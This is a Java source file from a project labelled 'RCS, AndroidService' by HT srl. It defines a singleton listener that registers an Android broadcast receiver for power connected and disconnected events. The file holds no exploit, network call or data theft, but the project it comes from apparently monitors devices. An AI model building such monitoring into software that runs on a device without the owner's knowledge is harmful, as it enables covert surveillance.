/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : ListenerAc.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.listener; import android.content.Intent; import android.content.IntentFilter; import com.android.dvci.Ac; import com.android.dvci.Status; public class ListenerAc extends Listener<Ac> { /** The Constant TAG. */ private static final String TAG = "ListenerAc"; //$NON-NLS-1$ private BAc acReceiver; /** The singleton. */ private volatile static ListenerAc singleton; /** * Self. * * @return the status */ public static ListenerAc self() { if (singleton == null) { synchronized (ListenerAc.class) { if (singleton == null) { singleton = new ListenerAc(); } } } return singleton; } @Override protected void start() { registerAc(); } @Override protected void stop() { Status.getAppContext().unregisterReceiver(acReceiver); } /** * Register Power Connected/Disconnected. */ private void registerAc() { acReceiver = new BAc(); final IntentFilter filterOn = new IntentFilter(Intent.ACTION_POWER_CONNECTED); final IntentFilter filterOff = new IntentFilter(Intent.ACTION_POWER_DISCONNECTED); // Register the broadcastreceiver and filter it to only get power status // changes Status.getAppContext().registerReceiver(acReceiver, filterOn); Status.getAppContext().registerReceiver(acReceiver, filterOff); } }